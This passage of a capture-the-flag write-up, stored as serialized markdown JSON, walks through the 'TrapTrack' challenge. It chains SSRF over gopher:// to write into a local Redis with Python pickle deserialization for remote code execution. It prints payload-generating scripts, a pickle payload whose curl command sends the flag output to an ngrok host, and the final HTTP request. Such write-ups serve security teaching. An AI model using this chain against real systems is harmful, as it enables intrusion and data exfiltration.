create_redis_payload.py\n",{"type":32,"tag":149,"props":1234,"children":1235},{"class":208,"line":225},[1236,1241,1245,1250,1255],{"type":32,"tag":149,"props":1237,"children":1238},{"style":219},[1239],{"type":37,"value":1240},"redis_cmd ",{"type":32,"tag":149,"props":1242,"children":1243},{"style":251},[1244],{"type":37,"value":278},{"type":32,"tag":149,"props":1246,"children":1247},{"style":571},[1248],{"type":37,"value":1249}," \"\"\"",{"type":32,"tag":149,"props":1251,"children":1252},{"style":577},[1253],{"type":37,"value":1254},"\u003CPAYLOAD>",{"type":32,"tag":149,"props":1256,"children":1257},{"style":571},[1258],{"type":37,"value":1259},"\"\"\"\n",{"type":32,"tag":149,"props":1261,"children":1262},{"class":208,"line":235},[1263,1268,1272,1277,1281,1286,1290,1294,1299,1303,1307,1312,1317,1321,1325,1329,1334,1338,1342,1346,1351,1355,1359,1363,1367,1371,1375,1379,1383,1388,1392],{"type":32,"tag":149,"props":1264,"children":1265},{"style":219},[1266],{"type":37,"value":1267},"formted_redis_cmd ",{"type":32,"tag":149,"props":1269,"children":1270},{"style":251},[1271],{"type":37,"value":278},{"type":32,"tag":149,"props":1273,"children":1274},{"style":219},[1275],{"type":37,"value":1276}," redis_cmd",{"type":32,"tag":149,"props":1278,"children":1279},{"style":251},[1280],{"type":37,"value":126},{"type":32,"tag":149,"props":1282,"children":1283},{"style":219},[1284],{"type":37,"value":1285},"replace",{"type":32,"tag":149,"props":1287,"children":1288},{"style":251},[1289],{"type":37,"value":254},{"type":32,"tag":149,"props":1291,"children":1292},{"style":571},[1293],{"type":37,"value":574},{"type":32,"tag":149,"props":1295,"children":1296},{"style":363},[1297],{"type":37,"value":1298},"\\r",{"type":32,"tag":149,"props":1300,"children":1301},{"style":571},[1302],{"type":37,"value":574},{"type":32,"tag":149,"props":1304,"children":1305},{"style":251},[1306],{"type":37,"value":371},{"type":32,"tag":149,"props":1308,"children":1309},{"style":571},[1310],{"type":37,"value":1311},"''",{"type":32,"tag":149,"props":1313,"children":1314},{"style":251},[1315],{"type":37,"value":1316},").",{"type":32,"tag":149,"props":1318,"children":1319},{"style":219},[1320],{"type":37,"value":1285},{"type":32,"tag":149,"props":1322,"children":1323},{"style":251},[1324],{"type":37,"value":254},{"type":32,"tag":149,"props":1326,"children":1327},{"style":571},[1328],{"type":37,"value":574},{"type":32,"tag":149,"props":1330,"children":1331},{"style":363},[1332],{"type":37,"value":1333},"\\n",{"type":32,"tag":149,"props":1335,"children":1336},{"style":571},[1337],{"type":37,"value":574},{"type":32,"tag":149,"props":1339,"children":1340},{"style":251},[1341],{"type":37,"value":371},{"type":32,"tag":149,"props":1343,"children":1344},{"style":571},[1345],{"type":37,"value":574},{"type":32,"tag":149,"props":1347,"children":1348},{"style":577},[1349],{"type":37,"value":1350},"%0D%0A",{"type":32,"tag":149,"props":1352,"children":1353},{"style":571},[1354],{"type":37,"value":574},{"type":32,"tag":149,"props":1356,"children":1357},{"style":251},[1358],{"type":37,"value":1316},{"type":32,"tag":149,"props":1360,"children":1361},{"style":219},[1362],{"type":37,"value":1285},{"type":32,"tag":149,"props":1364,"children":1365},{"style":251},[1366],{"type":37,"value":254},{"type":32,"tag":149,"props":1368,"children":1369},{"style":571},[1370],{"type":37,"value":574},{"type":32,"tag":149,"props":1372,"children":1373},{"style":571},[1374],{"type":37,"value":913},{"type":32,"tag":149,"props":1376,"children":1377},{"style":251},[1378],{"type":37,"value":371},{"type":32,"tag":149,"props":1380,"children":1381},{"style":571},[1382],{"type":37,"value":574},{"type":32,"tag":149,"props":1384,"children":1385},{"style":577},[1386],{"type":37,"value":1387},"%20",{"type":32,"tag":149,"props":1389,"children":1390},{"style":571},[1391],{"type":37,"value":574},{"type":32,"tag":149,"props":1393,"children":1394},{"style":251},[1395],{"type":37,"value":381},{"type":32,"tag":149,"props":1397,"children":1398},{"class":208,"line":267},[1399,1405,1409,1414,1419,1424,1429,1434,1439],{"type":32,"tag":149,"props":1400,"children":1402},{"style":1401},"--shiki-default:#B8A965",[1403],{"type":37,"value":1404},"print",{"type":32,"tag":149,"props":1406,"children":1407},{"style":251},[1408],{"type":37,"value":254},{"type":32,"tag":149,"props":1410,"children":1411},{"style":239},[1412],{"type":37,"value":1413},"f",{"type":32,"tag":149,"props":1415,"children":1416},{"style":577},[1417],{"type":37,"value":1418},"\"gopher://127.0.0.1:6379/_",{"type":32,"tag":149,"props":1420,"children":1421},{"style":363},[1422],{"type":37,"value":1423},"{",{"type":32,"tag":149,"props":1425,"children":1426},{"style":219},[1427],{"type":37,"value":1428},"formted_redis_cmd",{"type":32,"tag":149,"props":1430,"children":1431},{"style":363},[1432],{"type":37,"value":1433},"}",{"type":32,"tag":149,"props":1435,"children":1436},{"style":577},[1437],{"type":37,"value":1438},"\"",{"type":32,"tag":149,"props":1440,"children":1441},{"style":251},[1442],{"type":37,"value":381},{"type":32,"tag":46,"props":1444,"children":1445},{},[1446],{"type":37,"value":1447},"We can now create a payload to see if we can modify the keys of the Redis database.",{"type":32,"tag":193,"props":1449,"children":1450},{},[1451],{"type":32,"tag":198,"props":1452,"children":1454},{"code":1453},"HSET jobs 101 AAAAAAAAA\nHGET jobs 101\nquit\n",[1455],{"type":32,"tag":62,"props":1456,"children":1457},{"__ignoreMap":7},[1458],{"type":37,"value":1453},{"type":32,"tag":46,"props":1460,"children":1461},{},[1462,1464,1469,1471,1477,1479,1485,1487,1492],{"type":37,"value":1463},"Here we set at the key ",{"type":32,"tag":62,"props":1465,"children":1467},{"className":1466},[],[1468],{"type":37,"value":985},{"type":37,"value":1470}," the value ",{"type":32,"tag":62,"props":1472,"children":1474},{"className":1473},[],[1475],{"type":37,"value":1476},"AAAAAAAAAA",{"type":37,"value":1478}," at the index ",{"type":32,"tag":62,"props":1480,"children":1482},{"className":1481},[],[1483],{"type":37,"value":1484},"101",{"type":37,"value":1486},". and we get the value at the index ",{"type":32,"tag":62,"props":1488,"children":1490},{"className":1489},[],[1491],{"type":37,"value":1484},{"type":37,"value":126},{"type":32,"tag":46,"props":1494,"children":1495},{},[1496],{"type":37,"value":1497},"With the result of the previous script, we have the following payload:",{"type":32,"tag":193,"props":1499,"children":1500},{},[1501],{"type":32,"tag":198,"props":1502,"children":1504},{"code":1503},"{\"trapName\":\"hello\",\"trapURL\":\"gopher://127.0.0.1:6379/_%0D%0AHSET%20jobs%20101%20AAAAAAAAA%0D%0AHGET%20jobs%20101%0D%0Aquit%0D%0A\"}\n",[1505],{"type":32,"tag":62,"props":1506,"children":1507},{"__ignoreMap":7},[1508],{"type":37,"value":1503},{"type":32,"tag":46,"props":1510,"children":1511},{},[1512],{"type":37,"value":1513},"And we have the result:",{"type":32,"tag":193,"props":1515,"children":1516},{},[1517],{"type":32,"tag":198,"props":1518,"children":1520},{"code":1519},":0\n$9\nAAAAAAAAA\n+OK\n",[1521],{"type":32,"tag":62,"props":1522,"children":1523},{"__ignoreMap":7},[1524],{"type":37,"value":1519},{"type":32,"tag":46,"props":1526,"children":1527},{},[1528],{"type":37,"value":1529},"With this payload, we have shown that it is possible to pollute a key that is located in Redis.",{"type":32,"tag":39,"props":1531,"children":1533},{"id":1532},"rce-via-unpickle",[1534],{"type":37,"value":1535},"RCE via unpickle",{"type":32,"tag":46,"props":1537,"children":1538},{},[1539,1541,1547,1549,1555],{"type":37,"value":1540},"If we take a look at the ",{"type":32,"tag":62,"props":1542,"children":1544},{"className":1543},[],[1545],{"type":37,"value":1546},"get_job_queue",{"type":37,"value":1548}," function in ",{"type":32,"tag":62,"props":1550,"children":1552},{"className":1551},[],[1553],{"type":37,"value":1554},"cache.py",{"type":37,"value":1556},", we can see that this function retrieves a key from Redis, and then unpickle it.",{"type":32,"tag":193,"props":1558,"children":1559},{"lang":195},[1560],{"type":32,"tag":198,"props":1561,"children":1563},{"code":1562,"language":195,"meta":7,"className":201,"style":7},"def get_job_queue(job_id):\n    data = current_app.redis.hget(env('REDIS_JOBS'), job_id)\n    if data:\n        return pickle.loads(base64.b64decode(data))\n    return None\n",[1564],{"type":32,"tag":62,"props":1565,"children":1566},{"__ignoreMap":7},[1567,1591,1663,1680,1733],{"type":32,"tag":149,"props":1568,"children":1569},{"class":208,"line":209},[1570,1574,1579,1583,1587],{"type":32,"tag":149,"props":1571,"children":1572},{"style":239},[1573],{"type":37,"value":242},{"type":32,"tag":149,"props":1575,"children":1576},{"style":245},[1577],{"type":37,"value":1578}," get_job_queue",{"type":32,"tag":149,"props":1580,"children":1581},{"style":251},[1582],{"type":37,"value":254},{"type":32,"tag":149,"props":1584,"children":1585},{"style":219},[1586],{"type":37,"value":1138},{"type":32,"tag":149,"props":1588,"children":1589},{"style":251},[1590],{"type":37,"value":264},{"type":32,"tag":149,"props":1592,"children":1593},{"class":208,"line":225},[1594,1599,1603,1608,1612,1617,1621,1626,1630,1634,1638,1642,1646,1650,1654,1659],{"type":32,"tag":149,"props":1595,"children":1596},{"style":219},[1597],{"type":37,"value":1598},"    data ",{"type":32,"tag":149,"props":1600,"children":1601},{"style":251},[1602],{"type":37,"value":278},{"type":32,"tag":149,"props":1604,"children":1605},{"style":219},[1606],{"type":37,"value":1607}," current_app",{"type":32,"tag":149,"props":1609,"children":1610},{"style":251},[1611],{"type":37,"value":126},{"type":32,"tag":149,"props":1613,"children":1614},{"style":219},[1615],{"type":37,"value":1616},"redis",{"type":32,"tag":149,"props":1618,"children":1619},{"style":251},[1620],{"type":37,"value":126},{"type":32,"tag":149,"props":1622,"children":1623},{"style":219},[1624],{"type":37,"value":1625},"hget",{"type":32,"tag":149,"props":1627,"children":1628},{"style":251},[1629],{"type":37,"value":254},{"type":32,"tag":149,"props":1631,"children":1632},{"style":219},[1633],{"type":37,"value":1098},{"type":32,"tag":149,"props":1635,"children":1636},{"style":251},[1637],{"type":37,"value":254},{"type":32,"tag":149,"props":1639,"children":1640},{"style":571},[1641],{"type":37,"value":574},{"type":32,"tag":149,"props":1643,"children":1644},{"style":577},[1645],{"type":37,"value":968},{"type":32,"tag":149,"props":1647,"children":1648},{"style":571},[1649],{"type":37,"value":574},{"type":32,"tag":149,"props":1651,"children":1652},{"style":251},[1653],{"type":37,"value":1119},{"type":32,"tag":149,"props":1655,"children":1656},{"style":219},[1657],{"type":37,"value":1658}," job_id",{"type":32,"tag":149,"props":1660,"children":1661},{"style":251},[1662],{"type":37,"value":381},{"type":32,"tag":149,"props":1664,"children":1665},{"class":208,"line":235},[1666,1671,1676],{"type":32,"tag":149,"props":1667,"children":1668},{"style":213},[1669],{"type":37,"value":1670},"    if",{"type":32,"tag":149,"props":1672,"children":1673},{"style":219},[1674],{"type":37,"value":1675}," data",{"type":32,"tag":149,"props":1677,"children":1678},{"style":251},[1679],{"type":37,"value":297},{"type":32,"tag":149,"props":1681,"children":1682},{"class":208,"line":267},[1683,1687,1692,1696,1701,1705,1710,1714,1719,1723,1728],{"type":32,"tag":149,"props":1684,"children":1685},{"style":213},[1686],{"type":37,"value":658},{"type":32,"tag":149,"props":1688,"children":1689},{"style":219},[1690],{"type":37,"value":1691}," pickle",{"type":32,"tag":149,"props":1693,"children":1694},{"style":251},[1695],{"type":37,"value":126},{"type":32,"tag":149,"props":1697,"children":1698},{"style":219},[1699],{"type":37,"value":1700},"loads",{"type":32,"tag":149,"props":1702,"children":1703},{"style":251},[1704],{"type":37,"value":254},{"type":32,"tag":149,"props":1706,"children":1707},{"style":219},[1708],{"type":37,"value":1709},"base64",{"type":32,"tag":149,"props":1711,"children":1712},{"style":251},[1713],{"type":37,"value":126},{"type":32,"tag":149,"props":1715,"children":1716},{"style":219},[1717],{"type":37,"value":1718},"b64decode",{"type":32,"tag":149,"props":1720,"children":1721},{"style":251},[1722],{"type":37,"value":254},{"type":32,"tag":149,"props":1724,"children":1725},{"style":219},[1726],{"type":37,"value":1727},"data",{"type":32,"tag":149,"props":1729,"children":1730},{"style":251},[1731],{"type":37,"value":1732},"))\n",{"type":32,"tag":149,"props":1734,"children":1735},{"class":208,"line":286},[1736,1741],{"type":32,"tag":149,"props":1737,"children":1738},{"style":213},[1739],{"type":37,"value":1740},"    return",{"type":32,"tag":149,"props":1742,"children":1743},{"style":213},[1744],{"type":37,"value":1745}," None\n",{"type":32,"tag":46,"props":1747,"children":1748},{},[1749,1751,1757],{"type":37,"value":1750},"This function is used when we call the route ",{"type":32,"tag":62,"props":1752,"children":1754},{"className":1753},[],[1755],{"type":37,"value":1756},"/admin/jobs/\u003Cjob_id>",{"type":37,"value":126},{"type":32,"tag":46,"props":1759,"children":1760},{},[1761],{"type":37,"value":1762},"Unpickle in Python without any protection is quite vulnerable as it allows malicious code to be executed on the Python server.",{"type":32,"tag":46,"props":1764,"children":1765},{},[1766],{"type":37,"value":1767},"If we resume our path. We know that it is now possible to change a value corresponding to the id of a job in Redis, that an unpickle which takes a value from Redis is vulnerable and allows us to execute malicious code.",{"type":32,"tag":46,"props":1769,"children":1770},{},[1771],{"type":37,"value":1772},"Now, we just need to craft our payload that will be executed by unpickle. And call the route that will be responsible for unpickling in order to achieve RCE.",{"type":32,"tag":46,"props":1774,"children":1775},{},[1776],{"type":37,"value":1777},"We will use the following script to generate our base64 pickle payload:",{"type":32,"tag":193,"props":1779,"children":1780},{"lang":195},[1781],{"type":32,"tag":198,"props":1782,"children":1784},{"code":1783,"language":195,"meta":7,"className":201,"style":7},"# create_pickle_payload.py\n# create_pickle_payload.py\nimport pickle\nimport base64\n\nclass RCE:\n    def __reduce__(self):\n        import os\n        cmd = ('curl \"http://b536-91-69-133-214.ngrok.io/\"$(/readflag | base64)')\n        return os.system, (cmd,)\n\n\nif __name__ == '__main__':\n    pickled = pickle.dumps(RCE())\n    print(base64.urlsafe_b64encode(pickled).decode())\n",[1785],{"type":32,"tag":62,"props":1786,"children":1787},{"__ignoreMap":7},[1788,1796,1803,1815,1827,1834,1852,1878,1891,1925,1964,1971,1978,2013,2051],{"type":32,"tag":149,"props":1789,"children":1790},{"class":208,"line":209},[1791],{"type":32,"tag":149,"props":1792,"children":1793},{"style":1069},[1794],{"type":37,"value":1795},"# create_pickle_payload.py\n",{"type":32,"tag":149,"props":1797,"children":1798},{"class":208,"line":225},[1799],{"type":32,"tag":149,"props":1800,"children":1801},{"style":1069},[1802],{"type":37,"value":1795},{"type":32,"tag":149,"props":1804,"children":1805},{"class":208,"line":235},[1806,1810],{"type":32,"tag":149,"props":1807,"children":1808},{"style":213},[1809],{"type":37,"value":216},{"type":32,"tag":149,"props":1811,"children":1812},{"style":219},[1813],{"type":37,"value":1814}," pickle\n",{"type":32,"tag":149,"props":1816,"children":1817},{"class":208,"line":267},[1818,1822],{"type":32,"tag":149,"props":1819,"children":1820},{"style":213},[1821],{"type":37,"value":216},{"type":32,"tag":149,"props":1823,"children":1824},{"style":219},[1825],{"type":37,"value":1826}," base64\n",{"type":32,"tag":149,"props":1828,"children":1829},{"class":208,"line":286},[1830],{"type":32,"tag":149,"props":1831,"children":1832},{"emptyLinePlaceholder":229},[1833],{"type":37,"value":232},{"type":32,"tag":149,"props":1835,"children":1836},{"class":208,"line":300},[1837,1842,1848],{"type":32,"tag":149,"props":1838,"children":1839},{"style":239},[1840],{"type":37,"value":1841},"class",{"type":32,"tag":149,"props":1843,"children":1845},{"style":1844},"--shiki-default:#5DA994",[1846],{"type":37,"value":1847}," RCE",{"type":32,"tag":149,"props":1849,"children":1850},{"style":251},[1851],{"type":37,"value":297},{"type":32,"tag":149,"props":1853,"children":1854},{"class":208,"line":332},[1855,1860,1865,1869,1874],{"type":32,"tag":149,"props":1856,"children":1857},{"style":239},[1858],{"type":37,"value":1859},"    def",{"type":32,"tag":149,"props":1861,"children":1862},{"style":1401},[1863],{"type":37,"value":1864}," __reduce__",{"type":32,"tag":149,"props":1866,"children":1867},{"style":251},[1868],{"type":37,"value":254},{"type":32,"tag":149,"props":1870,"children":1871},{"style":219},[1872],{"type":37,"value":1873},"self",{"type":32,"tag":149,"props":1875,"children":1876},{"style":251},[1877],{"type":37,"value":264},{"type":32,"tag":149,"props":1879,"children":1880},{"class":208,"line":384},[1881,1886],{"type":32,"tag":149,"props":1882,"children":1883},{"style":213},[1884],{"type":37,"value":1885},"        import",{"type":32,"tag":149,"props":1887,"children":1888},{"style":219},[1889],{"type":37,"value":1890}," os\n",{"type":32,"tag":149,"props":1892,"children":1893},{"class":208,"line":431},[1894,1899,1903,1908,1912,1917,1921],{"type":32,"tag":149,"props":1895,"children":1896},{"style":219},[1897],{"type":37,"value":1898},"        cmd ",{"type":32,"tag":149,"props":1900,"children":1901},{"style":251},[1902],{"type":37,"value":278},{"type":32,"tag":149,"props":1904,"children":1905},{"style":251},[1906],{"type":37,"value":1907}," (",{"type":32,"tag":149,"props":1909,"children":1910},{"style":571},[1911],{"type":37,"value":574},{"type":32,"tag":149,"props":1913,"children":1914},{"style":577},[1915],{"type":37,"value":1916},"curl \"http://b536-91-69-133-214.ngrok.io/\"$(/readflag | base64)",{"type":32,"tag":149,"props":1918,"children":1919},{"style":571},[1920],{"type":37,"value":574},{"type":32,"tag":149,"props":1922,"children":1923},{"style":251},[1924],{"type":37,"value":381},{"type":32,"tag":149,"props":1926,"children":1927},{"class":208,"line":477},[1928,1932,1937,1941,1946,1950,1954,1959],{"type":32,"tag":149,"props":1929,"children":1930},{"style":213},[1931],{"type":37,"value":658},{"type":32,"tag":149,"props":1933,"children":1934},{"style":219},[1935],{"type":37,"value":1936}," os",{"type":32,"tag":149,"props":1938,"children":1939},{"style":251},[1940],{"type":37,"value":126},{"type":32,"tag":149,"props":1942,"children":1943},{"style":219},[1944],{"type":37,"value":1945},"system",{"type":32,"tag":149,"props":1947,"children":1948},{"style":251},[1949],{"type":37,"value":371},{"type":32,"tag":149,"props":1951,"children":1952},{"style":251},[1953],{"type":37,"value":1907},{"type":32,"tag":149,"props":1955,"children":1956},{"style":219},[1957],{"type":37,"value":1958},"cmd",{"type":32,"tag":149,"props":1960,"children":1961},{"style":251},[1962],{"type":37,"value":1963},",)\n",{"type":32,"tag":149,"props":1965,"children":1966},{"class":208,"line":522},[1967],{"type":32,"tag":149,"props":1968,"children":1969},{"emptyLinePlaceholder":229},[1970],{"type":37,"value":232},{"type":32,"tag":149,"props":1972,"children":1973},{"class":208,"line":530},[1974],{"type":32,"tag":149,"props":1975,"children":1976},{"emptyLinePlaceholder":229},[1977],{"type":37,"value":232},{"type":32,"tag":149,"props":1979,"children":1980},{"class":208,"line":618},[1981,1986,1991,1996,2000,2005,2009],{"type":32,"tag":149,"props":1982,"children":1983},{"style":213},[1984],{"type":37,"value":1985},"if",{"type":32,"tag":149,"props":1987,"children":1988},{"style":1401},[1989],{"type":37,"value":1990}," __name__",{"type":32,"tag":149,"props":1992,"children":1993},{"style":239},[1994],{"type":37,"value":1995}," ==",{"type":32,"tag":149,"props":1997,"children":1998},{"style":571},[1999],{"type":37,"value":913},{"type":32,"tag":149,"props":2001,"children":2002},{"style":577},[2003],{"type":37,"value":2004},"__main__",{"type":32,"tag":149,"props":2006,"children":2007},{"style":571},[2008],{"type":37,"value":574},{"type":32,"tag":149,"props":2010,"children":2011},{"style":251},[2012],{"type":37,"value":297},{"type":32,"tag":149,"props":2014,"children":2015},{"class":208,"line":639},[2016,2021,2025,2029,2033,2037,2041,2046],{"type":32,"tag":149,"props":2017,"children":2018},{"style":219},[2019],{"type":37,"value":2020},"    pickled ",{"type":32,"tag":149,"props":2022,"children":2023},{"style":251},[2024],{"type":37,"value":278},{"type":32,"tag":149,"props":2026,"children":2027},{"style":219},[2028],{"type":37,"value":1691},{"type":32,"tag":149,"props":2030,"children":2031},{"style":251},[2032],{"type":37,"value":126},{"type":32,"tag":149,"props":2034,"children":2035},{"style":219},[2036],{"type":37,"value":1179},{"type":32,"tag":149,"props":2038,"children":2039},{"style":251},[2040],{"type":37,"value":254},{"type":32,"tag":149,"props":2042,"children":2043},{"style":219},[2044],{"type":37,"value":2045},"RCE",{"type":32,"tag":149,"props":2047,"children":2048},{"style":251},[2049],{"type":37,"value":2050},"())\n",{"type":32,"tag":149,"props":2052,"children":2053},{"class":208,"line":652},[2054,2059,2063,2067,2071,2076,2080,2085,2089,2093],{"type":32,"tag":149,"props":2055,"children":2056},{"style":1401},[2057],{"type":37,"value":2058},"    print",{"type":32,"tag":149,"props":2060,"children":2061},{"style":251},[2062],{"type":37,"value":254},{"type":32,"tag":149,"props":2064,"children":2065},{"style":219},[2066],{"type":37,"value":1709},{"type":32,"tag":149,"props":2068,"children":2069},{"style":251},[2070],{"type":37,"value":126},{"type":32,"tag":149,"props":2072,"children":2073},{"style":219},[2074],{"type":37,"value":2075},"urlsafe_b64encode",{"type":32,"tag":149,"props":2077,"children":2078},{"style":251},[2079],{"type":37,"value":254},{"type":32,"tag":149,"props":2081,"children":2082},{"style":219},[2083],{"type":37,"value":2084},"pickled",{"type":32,"tag":149,"props":2086,"children":2087},{"style":251},[2088],{"type":37,"value":1316},{"type":32,"tag":149,"props":2090,"children":2091},{"style":219},[2092],{"type":37,"value":564},{"type":32,"tag":149,"props":2094,"children":2095},{"style":251},[2096],{"type":37,"value":2050},{"type":32,"tag":193,"props":2098,"children":2099},{},[2100],{"type":32,"tag":198,"props":2101,"children":2103},{"code":2102},"$> python pickle_rce.py\ngASVWgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjD9jdXJsICJodHRwOi8vYjUzNi05MS02OS0xMzMtMjE0Lm5ncm9rLmlvLyIkKC9yZWFkZmxhZyB8IGJhc2U2NCmUhZRSlC4=\n",[2104],{"type":32,"tag":62,"props":2105,"children":2106},{"__ignoreMap":7},[2107],{"type":37,"value":2102},{"type":32,"tag":46,"props":2109,"children":2110},{},[2111],{"type":37,"value":2112},"Now that we have the value of the key, we need to use it in our script that allows us to change the keys in Redis. This is necessary for us to have the final payload.",{"type":32,"tag":193,"props":2114,"children":2115},{},[2116],{"type":32,"tag":198,"props":2117,"children":2119},{"code":2118},"HSET jobs 101 gASVWgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjD9jdXJsICJodHRwOi8vYjUzNi05MS02OS0xMzMtMjE0Lm5ncm9rLmlvLyIkKC9yZWFkZmxhZyB8IGJhc2U2NCmUhZRSlC4=\nHGET jobs 101\nquit\n",[2120],{"type":32,"tag":62,"props":2121,"children":2122},{"__ignoreMap":7},[2123],{"type":37,"value":2118},{"type":32,"tag":193,"props":2125,"children":2126},{},[2127],{"type":32,"tag":198,"props":2128,"children":2130},{"code":2129},"POST /api/tracks/add HTTP/1.1\nHost: localhost:1337\nReferer: http://localhost:1337/admin/\nContent-Type: application/json\nContent-Length: 259\nOrigin: http://localhost:1337\nConnection: close\nCookie: session=8e3c330d-3f69-475a-9924-9638f040b30e\n\n{\"trapName\":\"hello\",\"trapURL\":\"gopher://127.0.0.1:6379/_%0D%0AHSET%20jobs%20101%20gASVWgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjD9jdXJsICJodHRwOi8vYjUzNi05MS02OS0xMzMtMjE0Lm5ncm9rLmlvLyIkKC9yZWFkZmxhZyB8IGJhc2U2NCmUhZRSlC4=%0D%0AHGET%20jobs%20101%0D%0Aquit%0D%0A\"}\n",[2131],{"type":32,"tag":62,"props":2132,"children":2133},{"__ignoreMap":7},[2134],{"type":37,"value":2129},{"type":32,"tag":46,"props":2136,"children":2137},{},[2138,2140,2146],{"type":37,"value":2139},"And then we just have to visit this URL: ",{"type":32,"tag":670,"props":2141,"children":2144},{"href":2142,"rel":2143},"http://localhost:1337/api/tracks/101/status",[674],[2145],{"type":37,"value":2142},{"type":37,"value":2147}," to get the result on our Ngrok.",{"type":32,"tag":128,"props":2149,"children":2151},{"width":130,"src":2150},"https://user-images.githubusercontent.com/28403617/227367481-54f89c35-60da-44be-adfe-de5f12d5ae52.png",[],{"type":32,"tag":2153,"props":2154,"children":2155},"style",{},[2156],{"type":37,"value":2157},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":225,"depth":209,"links":2159},[2160,2161,2162,2163,2164],{"id":41,"depth":225,"text":44},{"id":85,"depth":225,"text":88},{"id":183,"depth":225,"text":186},{"id":714,"depth":225,"text":717},{"id":1532,"depth":225,"text":1535},"markdown","content:writeups:traptrack.md","content","writeups/traptrack.md","writeups/traptrack","md",1749027226001]